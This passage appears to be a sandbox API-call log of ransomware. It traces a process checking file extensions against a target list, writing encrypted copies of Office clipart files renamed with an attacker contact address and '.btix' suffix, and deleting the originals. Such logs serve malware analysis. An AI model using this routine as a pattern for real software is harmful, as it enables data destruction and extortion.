returned 4 [0151.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.542] lstrlenW (lpString=".xlsx") returned 5 [0151.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0151.542] lstrlenW (lpString=".ppt") returned 4 [0151.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.542] lstrlenW (lpString=".zip") returned 4 [0151.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.542] lstrlenW (lpString=".rar") returned 4 [0151.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".bz2") returned 4 [0151.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString=".7z") returned 3 [0151.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.543] lstrlenW (lpString=".dbf") returned 4 [0151.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.543] lstrlenW (lpString=".1cd") returned 4 [0151.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF") returned 68 [0151.543] lstrlenW (lpString=".jpg") returned 4 [0151.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.543] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.543] lstrlenW (lpString="J0105232.WMF") returned 12 [0151.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.543] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=5632) returned 1 [0151.543] CloseHandle (hObject=0x38c) returned 1 [0151.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0151.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.544] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.544] GetLastError () returned 0x0 [0151.544] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1600, lpOverlapped=0x0) returned 1 [0151.545] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1610, lpOverlapped=0x0) returned 1 [0151.546] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.546] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.546] SetEndOfFile (hFile=0x390) returned 1 [0151.546] CloseHandle (hObject=0x390) returned 1 [0151.546] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.547] SetEndOfFile (hFile=0x38c) returned 1 [0151.547] CloseHandle (hObject=0x38c) returned 1 [0151.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0151.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.548] lstrlenW (lpString=".doc") returned 4 [0151.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.548] lstrlenW (lpString=".docx") returned 5 [0151.548] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.548] lstrlenW (lpString=".pdf") returned 4 [0151.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.548] lstrlenW (lpString=".xls") returned 4 [0151.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.548] lstrlenW (lpString=".xlsx") returned 5 [0151.548] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.548] lstrlenW (lpString=".ppt") returned 4 [0151.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.548] lstrlenW (lpString=".zip") returned 4 [0151.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.548] lstrlenW (lpString=".rar") returned 4 [0151.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.548] lstrlenW (lpString=".bz2") returned 4 [0151.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.548] lstrlenW (lpString=".7z") returned 3 [0151.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString=".dbf") returned 4 [0151.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString=".1cd") returned 4 [0151.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString=".jpg") returned 4 [0151.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString=".doc") returned 4 [0151.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString=".docx") returned 5 [0151.549] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0151.549] lstrlenW (lpString=".pdf") returned 4 [0151.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString=".xls") returned 4 [0151.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.549] lstrlenW (lpString=".xlsx") returned 5 [0151.549] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0151.549] lstrlenW (lpString=".ppt") returned 4 [0151.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.549] lstrlenW (lpString=".zip") returned 4 [0151.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.549] lstrlenW (lpString=".rar") returned 4 [0151.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.549] lstrlenW (lpString=".bz2") returned 4 [0151.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.550] lstrlenW (lpString=".7z") returned 3 [0151.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.550] lstrlenW (lpString=".dbf") returned 4 [0151.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.550] lstrlenW (lpString=".1cd") returned 4 [0151.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0151.550] lstrlenW (lpString=".jpg") returned 4 [0151.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.550] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.550] lstrlenW (lpString="J0105234.WMF") returned 12 [0151.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.550] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=3444) returned 1 [0151.550] CloseHandle (hObject=0x38c) returned 1 [0151.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0151.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.551] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.551] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.551] GetLastError () returned 0x0 [0151.551] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xd74, lpOverlapped=0x0) returned 1 [0151.552] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xd80, lpOverlapped=0x0) returned 1 [0151.553] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.553] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.553] SetEndOfFile (hFile=0x390) returned 1 [0151.553] CloseHandle (hObject=0x390) returned 1 [0151.553] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.553] SetEndOfFile (hFile=0x38c) returned 1 [0151.554] CloseHandle (hObject=0x38c) returned 1 [0151.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.554] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString=".doc") returned 4 [0151.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString=".docx") returned 5 [0151.555] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.555] lstrlenW (lpString=".pdf") returned 4 [0151.555] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString=".xls") returned 4 [0151.555] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.555] lstrlenW (lpString=".xlsx") returned 5 [0151.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.555] lstrlenW (lpString=".ppt") returned 4 [0151.555] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString=".zip") returned 4 [0151.555] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.555] lstrlenW (lpString=".rar") returned 4 [0151.555] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString=".bz2") returned 4 [0151.555] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString=".7z") returned 3 [0151.555] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString=".dbf") returned 4 [0151.555] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString=".1cd") returned 4 [0151.555] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.555] lstrlenW (lpString=".jpg") returned 4 [0151.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.556] lstrlenW (lpString=".doc") returned 4 [0151.556] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString=".docx") returned 5 [0151.556] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0151.556] lstrlenW (lpString=".pdf") returned 4 [0151.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString=".xls") returned 4 [0151.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.556] lstrlenW (lpString=".xlsx") returned 5 [0151.556] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0151.556] lstrlenW (lpString=".ppt") returned 4 [0151.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.556] lstrlenW (lpString=".zip") returned 4 [0151.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.556] lstrlenW (lpString=".rar") returned 4 [0151.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString=".bz2") returned 4 [0151.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString=".7z") returned 3 [0151.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.556] lstrlenW (lpString=".dbf") returned 4 [0151.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.557] lstrlenW (lpString=".1cd") returned 4 [0151.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0151.557] lstrlenW (lpString=".jpg") returned 4 [0151.557] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.557] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0151.557] lstrlenW (lpString="J0105238.WMF") returned 12 [0151.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.557] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=17172) returned 1 [0151.557] CloseHandle (hObject=0x38c) returned 1 [0151.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0151.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0151.557] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.557] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0151.558] GetLastError () returned 0x0 [0151.558] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4314, lpOverlapped=0x0) returned 1 [0151.776] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x4320, lpOverlapped=0x0) returned 1 [0151.777] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.777] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0151.777] SetEndOfFile (hFile=0x390) returned 1 [0152.181] CloseHandle (hObject=0x390) returned 1 [0152.181] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.182] SetEndOfFile (hFile=0x38c) returned 1 [0152.182] CloseHandle (hObject=0x38c) returned 1 [0152.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.183] lstrlenW (lpString=".doc") returned 4 [0152.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString=".docx") returned 5 [0152.183] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.183] lstrlenW (lpString=".pdf") returned 4 [0152.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString=".xls") returned 4 [0152.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.183] lstrlenW (lpString=".xlsx") returned 5 [0152.183] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.183] lstrlenW (lpString=".ppt") returned 4 [0152.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.183] lstrlenW (lpString=".zip") returned 4 [0152.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.183] lstrlenW (lpString=".rar") returned 4 [0152.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString=".bz2") returned 4 [0152.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.183] lstrlenW (lpString=".7z") returned 3 [0152.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.183] lstrlenW (lpString=".dbf") returned 4 [0152.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".1cd") returned 4 [0152.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".jpg") returned 4 [0152.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".doc") returned 4 [0152.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString=".docx") returned 5 [0152.184] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.184] lstrlenW (lpString=".pdf") returned 4 [0152.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString=".xls") returned 4 [0152.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.184] lstrlenW (lpString=".xlsx") returned 5 [0152.184] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.184] lstrlenW (lpString=".ppt") returned 4 [0152.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0152.184] lstrlenW (lpString=".zip") returned 4 [0152.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.184] lstrlenW (lpString=".rar") returned 4 [0152.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 